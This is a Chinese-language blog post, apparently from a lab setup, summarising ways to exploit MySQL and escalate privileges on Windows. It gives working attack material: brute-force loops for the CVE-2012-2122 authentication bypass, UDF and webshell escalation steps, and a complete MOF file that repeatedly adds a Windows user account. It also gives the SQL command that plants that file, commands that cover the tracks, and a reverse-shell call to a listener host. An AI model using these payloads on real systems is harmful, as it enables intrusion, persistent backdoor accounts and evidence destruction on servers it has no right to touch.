mysql数据库提权_mysql数据库漏洞利用及提权方式小结

CVE-2012-2122 Mysql身份认证漏洞

影响版本

Mysql在5.5.24之前

MariaDB也差不多这个版本之前

漏洞原理

只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次

漏洞复现

msf利用

17df4f239af3ebef7b605f592a6dd3b9.png

hash解密

456c5324853bde1d73efe6d00958ed77.png

得到密码即可登录

445aee414b3287c5195bebc2ed13b6ac.png

python exp

#!/usr/bin/python

import subprocess

while 1:

subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

882c022e7c0f6c883d663b9db662d17d.png

shell exp

for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

f85f30f8ebafc74f81ecdb6475d1fce7.png

Mysql UDF提权

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用sqlmap进行UDF提权

eac7276a2cace243b170928f295f051f.png

利用msf进行UDF提权

使用mysql_udf_payload模块

适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权

手工UDF提权

这里上传使用暗月的木马

b641d52a4c0fabc90c25336304e9ef13.png

这作者牛逼牛逼

登录进去,它会自动判断mysql版本决定出导出dll文件位置

96f42b1117262845510b5b15d646ab5f.png

然后导出udf,发现没有plugin这个目录

d0ee882577e68cbe6d3c3a9a9b2da126.png

于是我们创建后就能成功导出

fd07595f85c0ffd3e987fc5b84c4bc3f.png

但是一直找不到文件。。,

最后使用其它的udf提权文件发现可以,原来是这个udf文件问题,这下便能执行命令

d7ca9d55592bda19f26053eaf9762736.png

添加管理员,开启3389等。。这里就略过

既然知道了mysql账号密码当然也可以直接连接上去,然后上传文件,执行命令

Mysql MOF提权

直接上传文件MOF提权

直接上传mof.php文件登录后执行任意命令

5b4b0bc65b50aec6836ebf6de1d0ec5b.png

a2f364ed5cefccddec8425c9f437708e.png

利用msf进行MOF提权

使用mysql_mof模块,有的版本不能成功,比如我现在这个phpstudy搭建的5.5.53

上传nullevt.mof文件进行MOF提权

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

他会每五秒创建一个账户ghtwf011,里面命令可以自定义

使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

0f1d9b3b92d83737a930ca852c64dad3.png

成功生成了ghtwf011账户

67f91353a7d8304ffff01f394aa71309.png

因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可

net stop winmgmt

net user ghtwf011 /delete

切换到c:/windows/system32/wbem后del repository

net start winmgmt

Mysql反弹端口提权

原理就是声明一个backdoor函数

exp如下,exp太长了文章发不出来。。我附件出来吧

第二条定义的@a是udf.dll内容的16进制

依次执行命令

kali使用nc监听,这边执行select backshell("192.168.0.12",4444);

464842b8d4f6fe20edf4598b576b995c.png

dc8dfd7f8f291936964aefda3694fb7e.png

成功提权拿到shell

参考链接

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值